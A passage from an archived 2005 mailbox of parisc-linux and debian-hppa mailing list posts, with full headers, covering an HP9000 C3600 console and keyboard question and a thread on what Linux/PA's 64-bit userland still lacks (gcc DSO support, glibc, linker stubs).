	by palinux.hppa (Postfix) with ESMTP id 14E46751A4
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Jun 2005 10:51:03 -0600 (MDT)
Original-Received: from smtpd002.intermedia.net ([64.78.61.100]) by
	dhost002-46.dex002.intermedia.net with Microsoft
	SMTPSVC(6.0.3790.1830); Fri, 17 Jun 2005 09:50:57 -0700
Original-Received: from deprecated.intranet.astaro.de ([213.144.15.37]) by
	smtpd002.intermedia.net over TLS secured channel with Microsoft
	SMTPSVC(6.0.3790.1830); Fri, 17 Jun 2005 09:50:56 -0700
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50
X-OriginalArrivalTime: 17 Jun 2005 16:50:56.0708 (UTC)
	FILETIME=[BB55E040:01C5735C]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2JrAYusaeSEkZb6WZHQhaXN1IGRvbwAo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25147

--===============1768217663==
Content-Type: multipart/signed; boundary="=-=-=";
	micalg=pgp-sha1; protocol="application/pgp-signature"

--=-=-=
Content-Transfer-Encoding: quoted-printable

Hi,

i've got a "new" HP9000-C3600, and now i'm wondering if a standard
PC-USB Keyboard should work on this machine. I've got a blank screen,
and the HP is switching to serial console. i think there's a message
like "failed to initialize PCI 2" or something like this appearing in the
Display, but the PDC doesn't display me any errors.

The Primary Console is switched to GRAPHICS(2)/USB, so the serial
Console is probably only a fallback. Should this HP display something on
the screen, even without keyboard?

TIA,

Sven.

PS: Many thanks to you guys for porting linux to HPPA. I'm running
PA/Linux since 2001 on an old 712/60... :)

=2D-=20
Sven Schnelle <sschnelle@astaro.com> | Escalation Engineer
Astaro AG | http://www.astaro.com | Phone +49-721-25516-262 | Fax -200

Documentation: http://docs.astaro.org | Bulletin Board: http://www.astaro.o=
rg

--=-=-=
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQBCsv9186MdxiXaIbERAoSHAJ0cT4IR5udxDpY+TzrasigUQUBZuACgwmkY
iPWszcc9pMR+iFCzFrwkocI=
=oqkl
-----END PGP SIGNATURE-----
--=-=-=--

--===============1768217663==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1768217663==--



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of things that are known no to work on
	Linux/PA
Date: Fri, 17 Jun 2005 12:46:07 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <1119030367.5049.45.camel__24469.5430541926$1416624549$gmane$org@mulgrave>
References: <e6eae02905061709187feef001@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624549 26891 80.91.229.3 (22 Nov 2014 02:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:09 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 Linux/PA <parisc-linux@parisc-linux.org>
To: Max Grabert <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 17:46:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 17 Jun 2005 19:46:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 750797D683;
	Fri, 17 Jun 2005 11:46:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18099-10; Fri, 17 Jun 2005 11:46:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E30417D684;
	Fri, 17 Jun 2005 11:46:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2184E7D682
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 11:46:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18058-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 11:46:12 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A98F67D675
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 11:46:12 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6A945751A5; Fri, 17 Jun 2005 11:46:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP id 0C033751A4
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Jun 2005 11:46:11 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j5HHk9A03425; Fri, 17 Jun 2005 13:46:09 -0400
In-Reply-To: <e6eae02905061709187feef001@mail.gmail.com>
X-Mailer: Evolution 2.0.4 (2.0.4-4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OWnBYoIJeSEkf76WZHQhaXN1IGRvb4A9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25148

On Fri, 2005-06-17 at 17:18 +0100, Max Grabert wrote:
> - 64bit userland is not yet supported

Actually, the kernel supports it quite happily.  There's a 64 bit mini
library that will build static ELF64 user binaries that I used to debug
support when I added it.

What's missing is:

- 64 bit gcc that will build DSO's
- 64 bit glibc

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of things that are known no to work on Linux/PA
Date: Fri, 17 Jun 2005 13:49:15 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20050617174915.GM4229__29941.7133363479$1416624549$gmane$org@systemhalted.org>
References: <e6eae02905061709187feef001@mail.gmail.com> <1119030367.5049.45.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624549 26895 80.91.229.3 (22 Nov 2014 02:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:09 +0000 (UTC)
Cc: Max Grabert <parisc@gmail.com>,
 debian-hppa@lists.debian.org,
 Linux/PA <parisc-linux@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 17:49:26 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx024) with SMTP; 17 Jun 2005 19:49:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 87C672DDFC; Fri, 17 Jun 2005 12:49:24 -0500 (CDT)
Old-Return-Path: <carlos@baldric.uwo.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by murphy.debian.org (Postfix) with ESMTP id 6BFE52DDC6
	for <debian-hppa@lists.debian.org>; Fri, 17 Jun 2005 12:49:18 -0500 (CDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DjKxv-0005p7-00; Fri, 17 Jun 2005 13:49:15 -0400
Content-Disposition: inline
In-Reply-To: <1119030367.5049.45.camel@mulgrave>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (78% Sync Ratio [========..])
User-Agent: Mutt/1.5.6+20040907i
Original-Sender: Carlos O'Donell <carlos@baldric.uwo.ca>
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.8 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <oi9LjD.A.c7E.k0wsCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4547
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 17 Jun 2005 12:49:24 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: cGjBYj0ZeSEkar6WZHQhaXN1IGRvb0D7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25149

On Fri, Jun 17, 2005 at 12:46:07PM -0500, James Bottomley wrote:
> On Fri, 2005-06-17 at 17:18 +0100, Max Grabert wrote:
> > - 64bit userland is not yet supported
> 
> Actually, the kernel supports it quite happily.  There's a 64 bit mini
> library that will build static ELF64 user binaries that I used to debug
> support when I added it.
> 
> What's missing is:
> 
> - 64 bit gcc that will build DSO's
> - 64 bit glibc

I forgot perhaps we should add:

  - Multiple stub sections for the 64-bit linker.

Which will probably be the next project after TLS/NPTL/FUTEX.
Binutils elf64-hppa needs a good cleanup.

c.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of things that are known no to work on
	Linux/PA
Date: Fri, 17 Jun 2005 19:05:08 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <e6eae02905061711053b72fb5__47654.9845225692$1416624549$gmane$org@mail.gmail.com>
References: <e6eae02905061709187feef001@mail.gmail.com>
	<1119030367.5049.45.camel@mulgrave>
	<20050617174915.GM4229@systemhalted.org>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624549 26897 80.91.229.3 (22 Nov 2014 02:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:09 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 Linux/PA <parisc-linux@parisc-linux.org>,
 debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 18:05:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 17 Jun 2005 20:05:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B4067D69B;
	Fri, 17 Jun 2005 12:05:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18898-09; Fri, 17 Jun 2005 12:05:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 244D17D69C;
	Fri, 17 Jun 2005 12:05:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C3B67D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 12:05:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18898-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 12:05:09 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C430D7D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 12:05:09 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 759E4751A5; Fri, 17 Jun 2005 12:05:09 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.198])
	by palinux.hppa (Postfix) with ESMTP id 2FCAA751A4
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Jun 2005 12:05:09 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id 58so68063wri
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Jun 2005 11:05:08 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=JkrWCjrnE8x6wPi815VgEFDC6W3XVGhAeCo2pjB+AvLGp+BSgud1L8f8QRoj50wu0K0hkxhio7Vl0ItW+488q4QrZYSC1/uxdf/S1Xkc/tU6bb60ovr92NAQp6WLmpy0Zx9F3+OkhI1/uHPrCB/XtiPNjtwOyVitbsvV2MvkBis=
Original-Received: by 10.54.57.2 with SMTP id f2mr1278283wra;
	Fri, 17 Jun 2005 11:05:08 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Fri, 17 Jun 2005 11:05:08 -0700 (PDT)
In-Reply-To: <20050617174915.GM4229@systemhalted.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iXXBYrBMeSEkYr6WZHQhaXN1IGRvb4Ah
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25150

On 6/17/05, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On Fri, Jun 17, 2005 at 12:46:07PM -0500, James Bottomley wrote:
> > On Fri, 2005-06-17 at 17:18 +0100, Max Grabert wrote:
> > > - 64bit userland is not yet supported
> >
> > Actually, the kernel supports it quite happily.  There's a 64 bit mini
> > library that will build static ELF64 user binaries that I used to debug
> > support when I added it.
> >
> > What's missing is:
> >
> > - 64 bit gcc that will build DSO's
> > - 64 bit glibc
>=20
> I forgot perhaps we should add:
>=20
>   - Multiple stub sections for the 64-bit linker.
>=20
> Which will probably be the next project after TLS/NPTL/FUTEX.
> Binutils elf64-hppa needs a good cleanup.

Thank you all (Carlos, James, Kyle etc.) for your input!

I'll add a wiki page in the next couple of days that will
contain a (hopefully regulary updated) list of things that
are "known broken", "being worked on" and
"probably never supported" in the p-l kernel.

   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of things that are known no to work on
Date: Fri, 17 Jun 2005 15:01:28 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200506171901.j5HJ1TdA022606__34475.072930991$1416624549$gmane$org@hiauly1.hia.nrc.ca>
References: <e6eae02905061711053b72fb5@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624549 26901 80.91.229.3 (22 Nov 2014 02:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:09 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 carlos@systemhalted.org,
 debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: parisc@gmail.com
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jun 2005 19:01:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 17 Jun 2005 21:01:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9F147D6A6;
	Fri, 17 Jun 2005 13:01:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19472-01; Fri, 17 Jun 2005 13:01:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A4B27D69E;
	Fri, 17 Jun 2005 13:01:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DAAF7D693
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 13:01:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19185-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 13:01:35 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A5D647D691
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Jun 2005 13:01:35 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 46287494199; Fri, 17 Jun 2005 13:01:35 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id ECAC2494035
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Jun 2005 13:01:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5HJ1TnV022608; Fri, 17 Jun 2005 15:01:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5HJ1TdA022606;
	Fri, 17 Jun 2005 15:01:29 -0400 (EDT)
In-Reply-To: <e6eae02905061711053b72fb5@mail.gmail.com> from "Max Grabert" at
	Jun 17, 2005 07:05:08 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: d3vBYplpeSEkc76WZHQhaXN1IGRvb0Dk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25151

> > > - 64 bit gcc that will build DSO's

This isn't really an accurate description of what's missing.  GCC
doesn't build DSO's itself.  GCC lacks libtool and various config
files for 64-bit parisc-linux.  However, very little is missing
for C support.

Although GNU ld is somewhat broken, it should be able to build 64-bit
DSO's with the support that's presently there.  That's assuming we
keep the same runtime as hpux (ok, there are some symbol predefines
and elf issues that probably need looking at).

What stops building DSO's at the moment is

/usr/bin/hppa64-linux-ld: crti.o: No such file: No such file or directory

This is a glibc file.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of things that are known no to work
	on	Linux/PA
Date: Sat, 18 Jun 2005 13:32:37 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <42B42275.1090405__29396.5442608625$1416624550$gmane$org@tiscali.be>
References: <e6eae02905061709187feef001@mail.gmail.com>	<1119030367.5049.45.camel@mulgrave>	<20050617174915.GM4229@systemhalted.org>
	<e6eae02905061711053b72fb5@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624550 26903 80.91.229.3 (22 Nov 2014 02:49:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 Carlos O'Donell <carlos@systemhalted.org>,
 debian-hppa@lists.debian.org,
 Linux/PA <parisc-linux@parisc-linux.org>
To: Max Grabert <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jun 2005 13:32:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 18 Jun 2005 15:32:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA1ED7D684;
	Sat, 18 Jun 2005 07:32:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24480-04; Sat, 18 Jun 2005 07:32:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B27987D686;
	Sat, 18 Jun 2005 07:32:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
